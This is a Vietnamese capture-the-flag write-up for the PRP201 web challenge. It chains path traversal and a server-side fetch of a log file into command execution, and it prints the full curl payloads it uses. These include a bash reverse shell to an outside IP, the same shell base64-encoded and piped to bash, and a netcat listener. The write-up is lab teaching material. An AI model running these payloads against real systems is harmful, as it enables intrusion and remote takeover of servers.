PRP201
Đây là challenge mà mình đã đoán được một phần, nhưng vẫn mất gần 1 ngày để giải ra :< Một sản phẩm đến từ anh Khoa (matuhn)
Truy cập vào bài thì thấy có 5 đường dẫn đến 5 file txt
Thử truy cập vào một trong số đó sẽ thấy URL có dạng:
http://139.180.208.121:8001/getData?f=/fus/data/1.txt, liệu đây có phải path traversal? có vẻ như các anh ra đề năm nay khá thích path traversalMò mẫm một lúc thì mình tìm được file
flag.txtcũng trong/fus/data:D với nội dung như sau:![flag.txt]()
Vậy là cần phải làm cách nào đó để xem được cái
secret_serviceđóĐến đây thì mình bắt đầu bí rồi, path traversal thì cũng cần phải biết có những gì trong đó chứ (hoặc ít nhất là mình nghĩ vậy), cho tới khi ban ra đề cho hint đầu tiên:
?f=/fus/data/../app.py, vậy hãy xem source code này có vấn đề gì?Vì source khá dài nên mình sẽ phân tích từng hàm một, bỏ qua hàm index, vì nó in ra trang mà chúng ta truy cập vào đầu tiên
1 2 3 4 5 6 7
@app.route('/getData', methods=['GET']) def getLog(): log_file = flask.request.args.get('f') if (log_file.startswith('/fus/data')): return flask.send_file(log_file, mimetype='text/plain', as_attachment=False) else: return ({'status': 'invalid path'},200)
Ok, đây chính là hàm mà chúng ta dùng để đọc file và thực hiện path traversal, không có nhiều điều để nói về nó.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
# run script to crawl data @app.route('/runScript') def runScript(): json = flask.request.json msg = start(json) return ({'status': msg},200) def check_script_dup(scripts, command_log, json): try: script_parent_dir = scripts + '/' + json['dir'] script_path = script_parent_dir + '/' + json['name'] except: return "missing dir and name" if os.path.exists(script_path): return "duplicate script" else: if not os.path.exists(script_parent_dir): os.makedirs(script_parent_dir) return download_script(script_path, command_log, json) def download_script(script_path, command_log, json): try: script_link = json['url'] except: return "missing url" # don't trust anyone if (urllib.parse.urlparse(script_link).netloc == "localhost:8888"): result = requests.get(script_link) with open(script_path, 'wb') as f: f.write(result.content) run_script(script_path, command_log) else: return "invalid script link" def run_script(script_path, command_log): lf = open(command_log, 'wb+') command = subprocess.Popen(['bash', script_path], stderr=lf, stdout=lf, universal_newlines=True) return "Run successfully" def start(json): scripts = home + '/scripts' log = home + '/logs' if not os.path.exists(scripts): os.makedirs(scripts) if not os.path.exists(log): os.makedirs(log) try: command_log = log + '/' + json['command_log'] + '.txt' except: return "missing command_log" msg = check_script_dup(scripts, command_log, json) return msg
Mình sẽ để cả 5 hàm này chung với nhau, vì chúng liên quan mật thiết với nhau, và cũng là tiền đề cho mọi thứ
Ta có thứ tự như sau:
runScript()nhận json từ request và truyền cho hàmstart()start()xử lý việc tạo ra đường dẫn thư mục chologs,scriptsvà tạo filecommand_logvà đưa vào hàmcheck_script_dup()check_script_dup()nôm na thì kiểm tra xem file script đã tồn tại hay không, nếu tồn tại thì tất nhiên là không cần mất công đến hàm tiếp theo, hàmdownload_script()download_script()là phần sẽ “tạo ra nội dung file”, bằng cách nhập file từurltrong JSON vào filescript, ở đây ta biết được rằng,urlđó sẽ có dạnghttp://localhost:8888/anything_elsevì đoạn#dont trust anyone, hãy nhớ điều nàySau khi
download_script()hoàn tất, hàmrun_script()được khởi động, hàm này sẽ chạy một câu lệnhbash <script_bash>, và từ đây ta hiểu được 2 điều:script_bashlà tên file được thực thi bới lệnhbash, có nội dung được nhập từ nôi dung file trênurlcủa JSON truyền vàocommand_logchính là file log củastdoutvàstderr, như vậy khi thực thi, output và thông báo lỗi củabashđều sẽ đẩy vào file log đó, và tất nhiên, ta có thể xem file log đó qua path traversal
Đến đây thì mình (và tin chắc ai đó khi xem WU này), chắc hẳn đều đã nghĩ ra rồi, tác giả cũng đã ra hint
suprocess.Popen(), stderr, stdout là gì?rồi :vMình thử luôn nhé :v Như ở trên ta đã có JSON bao gồm
dir,name,command_log,urlURL để nhận file JSON là
http://139.180.208.121:8001/runScript, để gửi JSON lên thì mình sử dụngcurlnhư sau:1
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{json}'
Mình sẽ thử tạo một JSON như sau:
1 2 3 4 5 6
{ "dir" : "test", "name" : "ls", "command_log" : "log", "url" : "http://localhost:8888/" }
Ghép lại với
curl:1
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls", "command_log" : "log", "url" : "http://localhost:8888/"}'
Và sau khi gửi, truy cập vào
http://139.180.208.121:8001/getData?f=/fus/data/../logs/log.txtđể xem kết quả của câu lệnh là gì (ta biếtlogscùng chung thư mục cha vớidatakhi xem code):![curl]()
![log.txt]()
Có thể thấy rằng, nội dung file chính
log.txtchính là biếnscript_pathđược ra thêm cảresponsecủaindex(), chúng trên một dòng nên sẽ bị lỗi, thử đổilsthành\nls\nở JSON và gửi lên, sẽ thấy sự khác biệt:![curl_1]()
![log.txt_1]()
Thấy rõ là
lsđã thụt xuống, vậy điều này có ý nghĩa gì?bash <filename>khi chạy sẽ chạy từ trên xuống như các ngôn ngữ lập trình, nhưng có một điều đặc biệt là, hàng nào lỗi, nó sẽ in ra lỗi và chạy hàng tiếp theo, chứ không dừng lại khi gặp lỗi syntax bên trongĐến đây thì mình đã nhận ra, hàm
download_script(), vậy sẽ ra sao nếu mình truyền vàourltrong JSON làhttp://localhost:8888/getData?f=/fus/data/../logs/log.txt(nên lưu ýlocalhostở đây là local của server :> ), thì có phảidownload_script()sẽ lấy nội dung củalog.txtđể đưa vàoscript_path?Như vậy mình tạo JSON mới và lệnh
curlmới như sau:1 2 3 4 5 6
{ "dir" : "test", "name" : "ls.sh", "command_log" : "lssh", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt" }
1
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls.sh", "command_log" : "lssh", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt"}'
Và gửi đi, giờ chỉ cần mở file
lssh.txtbằng path traversal và thu được kết quả:![curl_2]()
![lssh.txt]()
Vậy là chính xác rồi, nhưng có một vấn đề là ta cần tìm đến
/rootđể mở filesecret_service, và tất nhiên là phải root thì mới có thể làm được điều đó (mình đã thử rồi)Mụ mẫm cả đầu thì anh T giấu tên và anh Khoa (tác giả) đã gợi ý về
reverse shellVậy bây giờ chỉ cần dùng cách trên, tạo một file chạy một đoạn reverse shell và chúng ta sẽ chiếm quyền thông qua SUID (hint từ tác giả) là xong
Nhưng, mình đã thử và nhận ra, tất cả những command mà chứa dấu ‘/’ thì lỗi 500 là rõ, như ở dưới mình để
nametrong JSON là\nls ../root\n:![500]()
Vậy là mình cần cách khác, nhưng trước tiên, phải chuẩn bị cái reverse shell đã :D
1
sh -i >& /dev/tcp/34.92.153.161/8899 0>&1
Có cả revshell của
bash,nc, …, tìm hiểu tại đâyVẫn là tác giả đã gợi ý cho mình một cách để đẩy được revshell kia lên, sử dụng
base64, chuyển đoạn shell ở trên thànhbase64encode, và đưa về dạng sau:1
echo "c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjEK" | base64 -d | bash
Vậy là xong, giờ cần chuẩn bị request đầu tiên (hãy nhớ escape string :v):
1 2 3 4 5 6
{ "dir" : "rev", "name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n", "command_log" : "rev", "url" : "http://localhost:8888/" }
1
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev","name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n","command_log" : "rev","url" : "http://localhost:8888/"}'
Gửi đi, và trước khi đến với lần request thứ 2, mình phải tạo một listener trên máy của mình đã (thực ra là VPS mình mượn của một người bạn xứ cảng):
1
nc -lvnp 8899![listener]()
Giờ để listener ở đó, ta quay lại với request thứ 2, request để chạy revshell:
1 2 3 4 5 6
{ "dir" : "rev_tcp", "name" : "rev_tcp.sh", "command_log" : "rev", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt" }
1
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev_tcp","name" : "rev_tcp.sh","command_log" : "rev","url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt"}'
Và gửi đi, rồi quay lại listener:
![revshell]()
Vậy là ta đã mở được reverse shell trên server
Bây giờ chỉ cần tiến hành leo thang đặc quyền thôi:
![done]()
Ta có flag:
"FUSec{a9595511e650bb0ff367d8144818802b}"
Cảm ơn anh Khoa và anh T giấu tên (không lừa) đã luôn hỗ trợ, đấm mồm thằng em để em có thể giải được bài này
Mình cũng xin cảm ơn người bạn đến từ đất cảng Mai Kim Long, mặc dù chỉ quen biết qua mạng xã hội nhưng vẫn dám cho mình mượn tài khoản GCP để làm bài này, thanks bro!










